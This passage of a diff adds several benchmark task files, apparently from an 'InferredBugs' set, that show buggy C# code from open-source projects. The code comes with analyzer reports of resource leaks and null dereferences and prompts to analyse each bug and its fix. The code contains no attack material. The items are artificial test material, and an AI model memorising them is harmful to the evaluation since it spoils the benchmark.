+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, "default");
+
+            var existingEntityOne = new Entity(Guid.NewGuid(), mockEventSystem);
+            var componentToRemove = new TestComponentOne();
+            existingEntityOne.AddComponent(componentToRemove);
+            existingEntityOne.AddComponent<TestComponentTwo>();
+
+            var existingEntityTwo = new Entity(Guid.NewGuid(), mockEventSystem);
+            var unapplicableComponent = new TestComponentThree();
+            existingEntityTwo.AddComponent<TestComponentOne>();
+            existingEntityTwo.AddComponent<TestComponentTwo>();
+            existingEntityTwo.AddComponent(unapplicableComponent);
+
+            var dummyEventToSeedMock = new ComponentsRemovedEvent(new Entity(Guid.NewGuid(), mockEventSystem), new[] {new TestComponentOne()});
+            var underlyingEvent = new ReactiveProperty<ComponentsRemovedEvent>(dummyEventToSeedMock);
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] { existingEntityOne, existingEntityTwo });
+            existingEntityOne.RemoveComponent(componentToRemove);
+            underlyingEvent.SetValueAndForceNotify(new ComponentsRemovedEvent(existingEntityOne, new [] {componentToRemove}));
+
+            existingEntityTwo.RemoveComponent(unapplicableComponent);
+            underlyingEvent.SetValueAndForceNotify(new ComponentsRemovedEvent(existingEntityTwo, new[] {unapplicableComponent}));
+
+            Assert.Equal(1, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal<IEntity>(existingEntityTwo, cacheableGroupAccessor.CachedEntities[existingEntityTwo.Id]);
+        }
+
+        [Fact]
+        public void should_only_add_entity_when_components_match_group()
+        {
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var accessorToken = new ObservableGroupToken(new[] { typeof(TestComponentOne), typeof(TestComponentTwo) }, "default");
+
+            var existingEntityOne = new Entity(Guid.NewGuid(), mockEventSystem);
+            var componentToAdd = new TestComponentOne();
+            existingEntityOne.AddComponent<TestComponentTwo>();
+
+            var existingEntityTwo = new Entity(Guid.NewGuid(), mockEventSystem);
+            var unapplicableComponent = new TestComponentThree();
+            existingEntityTwo.AddComponent<TestComponentOne>();
+
+            var dummyEventToSeedMock = new ComponentsAddedEvent(new Entity(Guid.NewGuid(), mockEventSystem), new[]{new TestComponentOne()});
+            var underlyingEvent = new ReactiveProperty<ComponentsAddedEvent>(dummyEventToSeedMock);
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+
+            var cacheableGroupAccessor = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[] {});
+            existingEntityOne.AddComponent(componentToAdd);
+            underlyingEvent.SetValueAndForceNotify(new ComponentsAddedEvent(existingEntityOne, new[]{componentToAdd}));
+
+            existingEntityTwo.AddComponent(unapplicableComponent);
+            underlyingEvent.SetValueAndForceNotify(new ComponentsAddedEvent(existingEntityTwo, new[]{unapplicableComponent}));
+
+            Assert.Equal(1, cacheableGroupAccessor.CachedEntities.Count);
+            Assert.Equal<IEntity>(existingEntityOne, cacheableGroupAccessor.CachedEntities[existingEntityOne.Id]);
+        }
+        
+        [Fact]
+        public void should_correctly_notify_when_entity_added()
+        {
+            var componentTypes = new[] {typeof(TestComponentOne), typeof(TestComponentTwo)};
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var mockCollection = Substitute.For<IEntityCollection>();
+            var accessorToken = new ObservableGroupToken(componentTypes, "default");
+            
+            var fakeEntity1 = new Entity(Guid.Empty, mockEventSystem);
+            fakeEntity1.AddComponent<TestComponentOne>();
+            fakeEntity1.AddComponent<TestComponentTwo>();
+
+            var fakeEntity2 = new Entity(Guid.Empty, mockEventSystem);
+            fakeEntity2.AddComponent<TestComponentOne>();
+            fakeEntity2.AddComponent<TestComponentThree>();
+
+            var timesCalled = 0;
+            mockCollection.Name.Returns("default");
+            
+            var underlyingEvent = new Subject<EntityAddedEvent>();
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(underlyingEvent);
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(Observable.Empty<EntityRemovedEvent>());
+            
+            var observableGroup = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[0]);
+            ObservableExtensions.Subscribe<IEntity>(observableGroup.OnEntityAdded, x =>
+            {
+                Assert.Equal<IEntity>(fakeEntity1, x);
+                timesCalled++;
+            });
+            
+            underlyingEvent.OnNext(new EntityAddedEvent(fakeEntity1, mockCollection));
+            underlyingEvent.OnNext(new EntityAddedEvent(fakeEntity2, mockCollection));
+
+            Assert.Equal(1, timesCalled);
+        }
+
+        [Fact]
+        public void should_correctly_notify_when_matching_entity_removed()
+        {
+            var componentTypes = new[] { typeof(TestComponentOne), typeof(TestComponentTwo) };
+            var mockEventSystem = Substitute.For<IEventSystem>();
+            var mockCollection = Substitute.For<IEntityCollection>();
+            var accessorToken = new ObservableGroupToken(componentTypes, "default");
+
+            var fakeEntity1 = new Entity(Guid.Empty, mockEventSystem);
+            fakeEntity1.AddComponent<TestComponentOne>();
+            fakeEntity1.AddComponent<TestComponentTwo>();
+
+            var fakeEntity2 = new Entity(Guid.Empty, mockEventSystem);
+            fakeEntity2.AddComponent<TestComponentOne>();
+            fakeEntity2.AddComponent<TestComponentThree>();
+
+            var timesCalled = 0;
+            mockCollection.Name.Returns("default");
+            
+            var underlyingEvent = new Subject<EntityRemovedEvent>();
+            mockEventSystem.Receive<ComponentsAddedEvent>().Returns(Observable.Empty<ComponentsAddedEvent>());
+            mockEventSystem.Receive<ComponentsRemovedEvent>().Returns(Observable.Empty<ComponentsRemovedEvent>());
+            mockEventSystem.Receive<EntityAddedEvent>().Returns(Observable.Empty<EntityAddedEvent>());
+            mockEventSystem.Receive<EntityRemovedEvent>().Returns(underlyingEvent);
+            
+            var observableGroup = new ObservableGroup(mockEventSystem, accessorToken, new IEntity[]{ fakeEntity1 });
+            ObservableExtensions.Subscribe<IEntity>(observableGroup.OnEntityRemoved, x =>
+            {
+                Assert.Equal<IEntity>(fakeEntity1, x);
+                timesCalled++;
+            });
+
+            underlyingEvent.OnNext(new EntityRemovedEvent(fakeEntity1, mockCollection));
+            underlyingEvent.OnNext(new EntityRemovedEvent(fakeEntity2, mockCollection));
+
+            Assert.Equal(1, timesCalled);
+        }
+
+        [Fact]
+        public void should_correctly_notify_when_matching_component_added()
+        {
+            var componentTypes = new[] { typeof(TestComponentOne), typeof(TestComponentTwo) };
+            var fakeEventSystem = new EventSystem(new MessageBroker());
+            var accessorToken = new ObservableGroupToken(componentTypes, "default");
+
+            var fakeEntity1 = new Entity(Guid.Empty, fakeEventSystem);
+            fakeEntity1.AddComponent<TestComponentOne>();
+
+            var fakeEntity2 = new Entity(Guid.Empty, fakeEventSystem);
+            fakeEntity2.AddComponent<TestComponentOne>();
+
+            var timesCalled = 0;
+            
+            var observableGroup = new ObservableGroup(fakeEventSystem, accessorToken, new IEntity[0]);
+            ObservableExtensions.Subscribe<IEntity>(observableGroup.OnEntityAdded, x =>
+            {
+                Assert.Equal<IEntity>(fakeEntity1, x);
+                timesCalled++;
+            });
+            
+            fakeEntity1.AddComponent<TestComponentTwo>();
+            fakeEntity1.AddComponent<TestComponentThree>();
+            fakeEntity2.AddComponent<TestComponentThree>();
+
+            Assert.Equal(1, timesCalled);
+        }
+
+        [Fact]
+        public void should_correctly_notify_when_matching_component_removed()
+        {
+            var componentTypes = new[] { typeof(TestComponentOne), typeof(TestComponentTwo) };
+            var fakeEventSystem = new EventSystem(new MessageBroker());
+            var accessorToken = new ObservableGroupToken(componentTypes, "default");
+
+            var fakeEntity1 = new Entity(Guid.Empty, fakeEventSystem);
+            fakeEntity1.AddComponent<TestComponentOne>();
+            fakeEntity1.AddComponent<TestComponentTwo>();
+            fakeEntity1.AddComponent<TestComponentThree>();
+
+            var fakeEntity2 = new Entity(Guid.Empty, fakeEventSystem);
+            fakeEntity2.AddComponent<TestComponentOne>();
+            fakeEntity2.AddComponent<TestComponentThree>();
+
+            var timesCalled = 0;
+            
+            var observableGroup = new ObservableGroup(fakeEventSystem, accessorToken, new IEntity[]{fakeEntity1});
+            ObservableExtensions.Subscribe<IEntity>(observableGroup.OnEntityRemoved, x =>
+            {
+                Assert.Equal<IEntity>(fakeEntity1, x);
+                timesCalled++;
+            });
+            
+            fakeEntity1.RemoveComponent<TestComponentThree>();
+            fakeEntity1.RemoveComponent<TestComponentTwo>();
+            fakeEntity2.RemoveComponent<TestComponentThree>();
+
+            Assert.Equal(1, timesCalled);
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource cacheableGroupAccessor of type EcsRx.Groups.Observable.ObservableGroup, Leaked resource n$79.[_] of type EcsRx.Entities.Entity, Leaked resource (output of EcsRx.Entities.Entity::.ctor() at Line 151) of type EcsRx.Entities.Entity in method "Void ObservableGroupTests.should_only_remove_entity_when_components_no_longer_match_group()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ObservableGroupTests.should_only_remove_entity_when_components_no_longer_match_group()
+
+### File:
+src/EcsRx.Tests/Framework/ObservableGroupTests.cs
+
+### Key:
+ObservableGroupTests.cs|should_only_remove_entity_when_components_no_longer_match_group|DOTNET_RESOURCE_LEAK
+
+### Hash:
+77a20269386044a54721dbc0ecd76dc3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1814/instruction.md b/inferredbugs-1814/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..21779c0f92b608f7b7b6f4b96496f4299c95f711
--- /dev/null
+++ b/inferredbugs-1814/instruction.md
@@ -0,0 +1,168 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ecsrx
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using EcsRx.Collections;
+using EcsRx.Components;
+using EcsRx.Components.Database;
+using EcsRx.Entities;
+using EcsRx.Executor;
+using EcsRx.Executor.Handlers;
+using EcsRx.Extensions;
+using EcsRx.Groups.Observable;
+using EcsRx.Systems.Handlers;
+using EcsRx.Tests.Models;
+using EcsRx.Tests.Systems;
+using EcsRx.Views.Systems;
+using NSubstitute;
+using Xunit;
+
+namespace EcsRx.Tests.Framework
+{
+    public class SanityTests
+    {
+        private IEntityCollectionManager CreateCollectionManager()
+        {
+            var componentLookups = new Dictionary<Type, int>
+            {
+                {typeof(TestComponentOne), 0},
+                {typeof(TestComponentTwo), 1},
+                {typeof(TestComponentThree), 2}
+            };
+            var componentLookupType = new ComponentTypeLookup(componentLookups);
+            var componentDatabase = new ComponentDatabase(componentLookupType);
+            var componentRepository = new ComponentRepository(componentLookupType, componentDatabase);
+            var entityFactory = new DefaultEntityFactory(new IdPool(), componentRepository);
+            var collectionFactory = new DefaultEntityCollectionFactory(entityFactory);
+            var observableGroupFactory = new DefaultObservableObservableGroupFactory();
+            return new EntityCollectionManager(collectionFactory, observableGroupFactory, componentLookupType);
+        }
+        
+        private SystemExecutor CreateExecutor(IEntityCollectionManager entityCollectionManager)
+        {
+            var reactsToEntityHandler = new ReactToEntitySystemHandler(entityCollectionManager);
+            var reactsToGroupHandler = new ReactToGroupSystemHandler(entityCollectionManager);
+            var reactsToDataHandler = new ReactToDataSystemHandler(entityCollectionManager);
+            var manualSystemHandler = new ManualSystemHandler(entityCollectionManager);
+            var setupHandler = new SetupSystemHandler(entityCollectionManager);
+
+            var conventionalSystems = new List<IConventionalSystemHandler>
+            {
+                setupHandler,
+                reactsToEntityHandler,
+                reactsToGroupHandler,
+                reactsToDataHandler,
+                manualSystemHandler
+            };
+            
+            return new SystemExecutor(conventionalSystems);
+        }
+
+        [Fact]
+        public void should_execute_setup_for_matching_entities()
+        {
+            var collectionManager = CreateCollectionManager();
+            var executor = CreateExecutor(collectionManager);
+            executor.AddSystem(new TestSetupSystem());
+
+            var collection = collectionManager.GetCollection();
+            var entityOne = collection.CreateEntity();
+            var entityTwo = collection.CreateEntity();
+
+            entityOne.AddComponents(new TestComponentOne(), new TestComponentTwo());
+            entityTwo.AddComponents(new TestComponentTwo());
+
+            Assert.Equal("woop", entityOne.GetComponent<TestComponentOne>().Data);
+            Assert.Null(entityTwo.GetComponent<TestComponentTwo>().Data);
+        }
+        
+        [Fact]
+        public void should_not_freak_out_when_removing_components_during_removing_event()
+        {
+            var collectionManager = CreateCollectionManager();
+            var collection = collectionManager.GetCollection();
+            var entityOne = collection.CreateEntity();
+
+            var timesCalled = 0;
+            entityOne.ComponentsRemoved.Subscribe(x =>
+            {
+                entityOne.RemoveComponent<TestComponentTwo>();
+                timesCalled++;
+            });
+
+            entityOne.AddComponents(new TestComponentOne(), new TestComponentTwo());
+            entityOne.RemoveComponent<TestComponentOne>();
+            
+            Assert.Equal(2, timesCalled);
+        }
+        
+        [Fact]
+        public void should_run_treat_view_handler_as_setup_system_and_teardown_system()
+        {
+            var mockEntityCollectionManager = Substitute.For<IEntityCollectionManager>();
+            var setupSystemHandler = new SetupSystemHandler(mockEntityCollectionManager);
+            var teardownSystemHandler = new SetupSystemHandler(mockEntityCollectionManager);
+            
+            var viewSystem = Substitute.For<IViewResolverSystem>();
+            
+            Assert.True(setupSystemHandler.CanHandleSystem(viewSystem));
+            Assert.True(teardownSystemHandler.CanHandleSystem(viewSystem));
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource reactsToGroupHandler of type EcsRx.Systems.Handlers.ReactToGroupSystemHandler, Leaked resource reactsToEntityHandler of type EcsRx.Systems.Handlers.ReactToEntitySystemHandler, Leaked resource setupHandler of type EcsRx.Systems.Handlers.SetupSystemHandler, Leaked resource reactsToDataHandler of type EcsRx.Systems.Handlers.ReactToDataSystemHandler in method "SystemExecutor SanityTests.CreateExecutor(IEntityCollectionManager)".
+
+### Severity:
+ERROR
+
+### Procedure:
+SystemExecutor SanityTests.CreateExecutor(IEntityCollectionManager)
+
+### File:
+src/EcsRx.Tests/Framework/SanityTests.cs
+
+### Key:
+SanityTests.cs|CreateExecutor|DOTNET_RESOURCE_LEAK
+
+### Hash:
+d25951dfa9392b09923cff8592e28943
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1815/instruction.md b/inferredbugs-1815/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..59f7bc3dc05f06dcff23d52dcc72c29ebd1c79fc
--- /dev/null
+++ b/inferredbugs-1815/instruction.md
@@ -0,0 +1,140 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** csly
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using sly.parser;
+using expressionparser;
+using jsonparser;
+using sly.lexer;
+using sly.parser.generator;
+using System;
+using System.Collections.Generic;
+using System.Text;
+using Xunit;
+
+namespace ParserTests
+{
+    public class ErrorTests
+    {
+
+
+        [Fact]
+        public void TestJsonSyntaxError()
+        {
+            JSONParser jsonParser = new JSONParser();
+            Parser<JsonToken> parser = ParserBuilder.BuildParser<JsonToken>(jsonParser, ParserType.LL_RECURSIVE_DESCENT, "root");
+
+            string source = @"{
+                'one': 1,
+                'bug':{,}
+            }";
+            ParseResult<JsonToken> r = parser.Parse(source);
+            Assert.True(r.IsError);
+            Assert.Null(r.Result);
+            Assert.NotNull(r.Errors);
+            Assert.True(r.Errors.Count > 0);
+            Assert.IsAssignableFrom(typeof(UnexpectedTokenSyntaxError<JsonToken>), r.Errors[0]);
+            UnexpectedTokenSyntaxError<JsonToken> error = r.Errors[0] as UnexpectedTokenSyntaxError<JsonToken>;
+
+            Assert.Equal(JsonToken.COMMA, error?.UnexpectedToken.TokenID);
+            Assert.Equal(3, error?.Line);
+            Assert.Equal(25, error?.Column);
+
+        }
+
+        [Fact]
+        public void TestExpressionSyntaxError()
+        {
+
+            Parser<ExpressionToken> Parser = ParserBuilder.BuildParser<ExpressionToken>(typeof(ExpressionParser), ParserType.LL_RECURSIVE_DESCENT, "expression");
+
+            ParseResult<ExpressionToken> r = Parser.Parse(" 2 + 3 + + 2");
+            Assert.True(r.IsError);
+            Assert.Null(r.Result);
+            Assert.NotNull(r.Errors);
+            Assert.True(r.Errors.Count > 0);
+            Assert.IsAssignableFrom(typeof(UnexpectedTokenSyntaxError<ExpressionToken>), r.Errors[0]);
+            UnexpectedTokenSyntaxError<ExpressionToken> error = r.Errors[0] as UnexpectedTokenSyntaxError<ExpressionToken>;
+
+            Assert.Equal(ExpressionToken.PLUS, error.UnexpectedToken.TokenID);
+
+            Assert.Equal(1, error.Line);
+            Assert.Equal(9, error.Column);
+        }
+
+        [Fact]
+        public void TestLexicalError()
+        {
+
+            Parser<ExpressionToken> Parser = ParserBuilder.BuildParser<ExpressionToken>(typeof(ExpressionParser), ParserType.LL_RECURSIVE_DESCENT, "root");
+            ParseResult<ExpressionToken> r = Parser.Parse("2 @ 2");
+            Assert.True(r.IsError);
+            Assert.Null(r.Result);
+            Assert.NotNull(r.Errors);
+            Assert.True(r.Errors.Count > 0);
+            Assert.IsAssignableFrom(typeof(LexicalError), r.Errors[0]);
+            LexicalError error = r.Errors[0] as LexicalError;
+            Assert.Equal(1, error.Line);
+            Assert.Equal(2, error.Column);
+            Assert.Equal('@', error.UnexpectedChar);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `error` last assigned on line 72 could be null and is dereferenced at line 73, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ErrorTests.TestLexicalError()
+
+### File:
+ParserTests/ErrorTests.cs
+
+### Key:
+ErrorTests.cs|TestLexicalError|NULL_DEREFERENCE
+
+### Node Key:
+a35c6d97ccef7486c04c7fb208054b5b
+
+### Hash:
+ce09637fd18c753b722b72a4a7a44809
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1822/instruction.md b/inferredbugs-1822/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2470b654364fcb670be5b35b8cc0ebfb4932869a
--- /dev/null
+++ b/inferredbugs-1822/instruction.md
@@ -0,0 +1,132 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ultraviolet
+**Bug ID:** 7
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using TwistedLogik.Ultraviolet.Layout.Elements;
+
+namespace TwistedLogik.Ultraviolet.Layout.Stylesheets
+{
+    /// <summary>
+    /// Represents a rule in an Ultraviolet Stylesheet (UVSS) document.
+    /// </summary>
+    public sealed class UvssRule
+    {
+        /// <summary>
+        /// Initializes a new instance of the <see cref="UvssRule"/> class.
+        /// </summary>
+        /// <param name="selectors">The rule's selectors.</param>
+        /// <param name="styles">The rule's styles.</param>
+        internal UvssRule(UvssSelectorList selectors, UvssStyleList styles)
+        {
+            this.selectors = selectors;
+            this.styles    = styles;
+        }
+
+        /// <inheritdoc/>
+        public override String ToString()
+        {
+            return String.Format("{0} {{ {1} }}", Selectors, Styles);
+        }
+
+        /// <summary>
+        /// Gets a value indicating whether the rule matches the specified UI element.
+        /// </summary>
+        /// <param name="element">The UI element to evaluate.</param>
+        /// <param name="selector">The selector that matches the element, if any.</param>
+        /// <returns><c>true</c> if the rule matches the specified UI element; otherwise, <c>false</c>.</returns>
+        public Boolean MatchesElement(UIElement element, out UvssSelector selector)
+        {
+            var priority = 0;
+
+            selector = null;
+            foreach (var potentialMatch in selectors)
+            {
+                if (potentialMatch.MatchesElement(element))
+                {
+                    if (selector.Priority >= priority)
+                    {
+                        selector = potentialMatch;
+                        priority = selector.Priority;
+                    }
+                }
+            }
+            return selector != null;
+        }
+
+        /// <summary>
+        /// Gets the rule's selectors.
+        /// </summary>
+        public UvssSelectorList Selectors
+        {
+            get { return selectors; }
+        }
+
+        /// <summary>
+        /// Gets the rule's styles.
+        /// </summary>
+        public UvssStyleList Styles
+        {
+            get { return styles; }
+        }
+
+        // State values.
+        private readonly UvssSelectorList selectors;
+        private readonly UvssStyleList styles;
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`*selector` could be null (last assigned on line 36) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean UvssRule.MatchesElement(UIElement,UvssSelector&)
+
+### File:
+TwistedLogik.Ultraviolet.Layout/Stylesheets/UvssRule.cs
+
+### Key:
+UvssRule.cs|MatchesElement|NULLPTR_DEREFERENCE
+
+### Hash:
+dd5ada346db2b1c12200e83139ad3ff2
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1823/instruction.md b/inferredbugs-1823/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e73fbd4f7cbd9c976141c0b83a0c3b9834e47058
--- /dev/null
+++ b/inferredbugs-1823/instruction.md
@@ -0,0 +1,163 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ultraviolet
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+
+namespace TwistedLogik.Nucleus.Collections
+{
+    /// <summary>
+    /// Represents a collection of expanding pools for different types.
+    /// </summary>
+    public sealed class ExpandingPoolRegistry
+    {
+        /// <summary>
+        /// Creates a pool for the specified type with the specified initial capacity and allocator.
+        /// </summary>
+        /// <typeparam name="T">The type of object for which to create an expanding pool.</typeparam>
+        /// <param name="capacity">The pool's initial capacity.</param>
+        /// <param name="allocator">The pool's instance allocator, if it must be created.</param>
+        public void Create<T>(Int32 capacity, Func<T> allocator = null)
+        {
+            Contract.EnsureRange(capacity >= 0, "capacity");
+
+            if (pools.ContainsKey(typeof(T)))
+                throw new InvalidOperationException(NucleusStrings.PoolRegistryAlreadyContainsType.Format(typeof(T)));
+
+            pools[typeof(T)] = new ExpandingPool<T>(capacity, allocator);
+        }
+
+        /// <summary>
+        /// Destroys the pool for the specified type.
+        /// </summary>
+        /// <typeparam name="T">The type of object for which to destroy an existing pool.</typeparam>
+        public void Destroy<T>()
+        {
+            var pool = Get<T>();
+            if (pool != null)
+            {
+                pool.Dispose();
+                pools.Remove(typeof(T));
+            }
+        }
+
+        /// <summary>
+        /// Destroys all of the registered pools.
+        /// </summary>
+        public void DestroyAll()
+        {
+            foreach (var pool in pools)
+            {
+                pool.Value.Dispose();
+            }
+            pools.Clear();
+        }
+
+        /// <summary>
+        /// Gets the pool for the specified type.
+        /// </summary>
+        /// <param name="type">The type of object for which to retrieve a pool.</param>
+        /// <returns>The pool for the specified type, or <c>null</c> if no such pool exists.</returns>
+        public IPool Get(Type type)
+        {
+            Contract.Require(type, "type");
+
+            IPool pool;
+            pools.TryGetValue(type, out pool);
+            return pool;
+        }
+
+        /// <summary>
+        /// Gets the pool for the specified type.
+        /// </summary>
+        /// <typeparam name="T">The type of object for which to retrieve a pool.</typeparam>
+        /// <returns>The pool for the specified type, or <c>null</c> if no such pool exists.</returns>
+        public IPool<T> Get<T>()
+        {
+            IPool pool;
+            pools.TryGetValue(typeof(T), out pool);
+            return (IPool<T>)pool;
+        }
+
+        /// <summary>
+        /// Gets the pool for the specified type. If the pool does not exist, it will be created
+        /// with the specified initial capacity and allocator.
+        /// </summary>
+        /// <typeparam name="T">The type of object for which to retrieve a pool.</typeparam>
+        /// <param name="capacity">The initial capacity of the pool, if it must be created.</param>
+        /// <param name="allocator">The pool's instance allocator, if it must be created.</param>
+        /// <returns>The pool for the specified type.</returns>
+        public IPool<T> Get<T>(Int32 capacity, Func<T> allocator = null)
+        {
+            Contract.EnsureRange(capacity >= 0, "capacity");
+
+            IPool pool;
+            if (!pools.TryGetValue(typeof(T), out pool))
+            {
+                pool = new ExpandingPool<T>(capacity, allocator);
+                pools[typeof(T)] = pool;
+            }
+            return (IPool<T>)pool;
+        }
+
+        // The pools for each type.
+        private readonly Dictionary<Type, IPool> pools = 
+            new Dictionary<Type, IPool>();
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of TwistedLogik.Nucleus.Collections.ExpandingPool`1<T>::.ctor() at Line 24) of type TwistedLogik.Nucleus.Collections.ExpandingPool`1<T> in method "Void ExpandingPoolRegistry.Create(Int32,Func`1<!0>)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ExpandingPoolRegistry.Create(Int32,Func`1<!0>)
+
+### File:
+TwistedLogik.Nucleus/Collections/ExpandingPoolRegistry.cs
+
+### Key:
+ExpandingPoolRegistry.cs|Create|DOTNET_RESOURCE_LEAK
+
+### Hash:
+4c47dfe2fcaaa4dd58e1a86516fea5f6
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1824/instruction.md b/inferredbugs-1824/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8d8bea152ca56a1941a5af63fb044c5941ded979
--- /dev/null
+++ b/inferredbugs-1824/instruction.md
@@ -0,0 +1,561 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ultraviolet
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Diagnostics.CodeAnalysis;
+using TwistedLogik.Nucleus;
+using TwistedLogik.Nucleus.Text;
+using TwistedLogik.Ultraviolet.Platform;
+using TwistedLogik.Ultraviolet.SDL2;
+using TwistedLogik.Ultraviolet.SDL2.Native;
+
+namespace TwistedLogik.Ultraviolet.OpenGL.Platform
+{
+    /// <summary>
+    /// Represents the OpenGL/SDL2 implementation of the IUltravioletWindowInfo interface.
+    /// </summary>
+    [SuppressMessage("Microsoft.Design", "CA1001:TypesThatOwnDisposableFieldsShouldBeDisposable")]
